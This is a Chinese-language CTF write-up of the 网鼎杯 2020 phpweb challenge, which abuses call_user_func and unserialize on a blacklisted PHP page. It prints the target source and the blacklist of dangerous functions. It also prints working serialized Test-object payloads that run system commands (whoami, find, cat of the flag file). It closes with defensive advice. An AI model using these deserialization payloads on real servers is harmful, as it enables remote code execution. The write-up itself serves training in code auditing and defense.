从黑名单绕过到反序列化利用:深度剖析[网鼎杯 2020 朱雀组]phpweb的解题路径

发布时间:2026/6/28 21:10:54
从黑名单绕过到反序列化利用:深度剖析[网鼎杯 2020 朱雀组]phpweb的解题路径 1. 初探phpweb题目环境第一次打开这个题目页面时我注意到页面每隔5秒就会自动刷新一次。这个行为立即引起了我的警觉因为通常这种自动刷新机制背后都隐藏着某些关键逻辑。我习惯性地打开了浏览器开发者工具切换到Network面板开始抓包。果然每次刷新时都会向服务器发送一个POST请求携带两个关键参数func和p。这让我联想到PHP中常见的函数调用模式 - 第一个参数指定要调用的函数名第二个参数则是要传递给该函数的参数值。为了验证这个猜想我尝试用PHP命令行快速测试了一下date函数的输出格式php -r var_dump(date(Y-m-d h:i:s a));结果显示当前时间这与页面上显示的时间格式完全一致。这进一步确认了我的猜测func参数传递的是函数名p参数传递的是该函数所需的参数。2. 黑名单绕过尝试与失败既然知道了func参数可以控制函数调用我自然想到尝试一些危险函数。首先测试了eval、system、assert等常见命令执行函数但都返回了Hacker...的错误提示。这说明题目设置了完善的黑名单过滤机制。经过多次尝试发现file_get_contents函数没有被过滤。利用这个函数我成功读取到了index.php的源代码?php $disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents); function gettime($func, $p) { $result call_user_func($func, $p); $a gettype($result); if ($a string) { return $result; } else {return ;} } class Test { var $p Y-m-d h:i:s a; var $func date; function __destruct() { if ($this-func ! ) { echo gettime($this-func, $this-p); } } } $func $_REQUEST[func]; $p $_REQUEST[p]; if ($func ! null) { $func strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die(Hacker...); } } ?3. 代码审计与漏洞发现仔细分析这段源代码我发现了几个关键点黑名单机制$disable_fun数组包含了几乎所有常见的危险函数返回值限制gettime函数只返回string类型的值Test类包含$p和$func两个属性在__destruct方法中会调用gettime函数最有趣的是Test类的设计。它的__destruct方法会在对象销毁时自动执行而且这里的函数调用绕过了黑名单检查这意味着如果我们能控制Test对象的属性就能执行任意函数。但是如何触发这个逻辑呢关键在于反序列化。如果能让服务器反序列化我们精心构造的数据就能控制Test对象的属性。观察代码发现func参数可以指定unserialize函数而p参数可以传递序列化字符串。4. 构造POP链实现RCE基于以上分析我编写了以下PHP代码来生成payload?php class Test{ var $func system; var $p whoami;pwd;ls -lha ./; } $res new Test(); echo serialize($res); ?生成的序列化字符串为O:4:Test:2:{s:4:func;s:6:system;s:1:p;s:21:whoami;pwd;ls -lha ./;}将这个payload通过POST请求发送给服务器funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:21:whoami;pwd;ls -lha ./;}成功执行了系统命令现在只需要找到flag文件的位置。我使用find命令搜索funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:19:find / -name *flag*;}发现flag位于/tmp/flagoefiu4r93最后用cat命令读取flag内容funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:22:cat /tmp/flagoefiu4r93;}5. 漏洞利用的深层原理这个漏洞的精妙之处在于它结合了多个PHP特性反序列化漏洞通过unserialize函数触发对象实例化魔术方法利用__destruct在对象销毁时自动调用黑名单绕过Test类中的函数调用不经过黑名单检查POP链构造通过控制对象属性实现任意函数调用在实际渗透测试中这种层层递进的漏洞利用思路非常典型。首先通过信息收集发现可能的攻击面然后代码审计找出潜在漏洞最后精心构造利用链实现攻击目标。6. 防御措施与安全建议针对这类漏洞开发者可以采取以下防护措施避免使用反序列化功能或者严格限制反序列化的数据来源对魔术方法的使用要格外小心特别是涉及敏感操作的黑名单机制往往不够可靠应该考虑白名单机制及时更新PHP版本修复已知的安全漏洞对用户输入进行严格的类型检查和过滤在CTF比赛中这类题目很好地训练了选手的代码审计能力和漏洞利用思维。通过这道题我更加理解了反序列化漏洞的利用方式和防御方法。在实际开发中我也会更加注意这些安全细节避免类似漏洞的出现。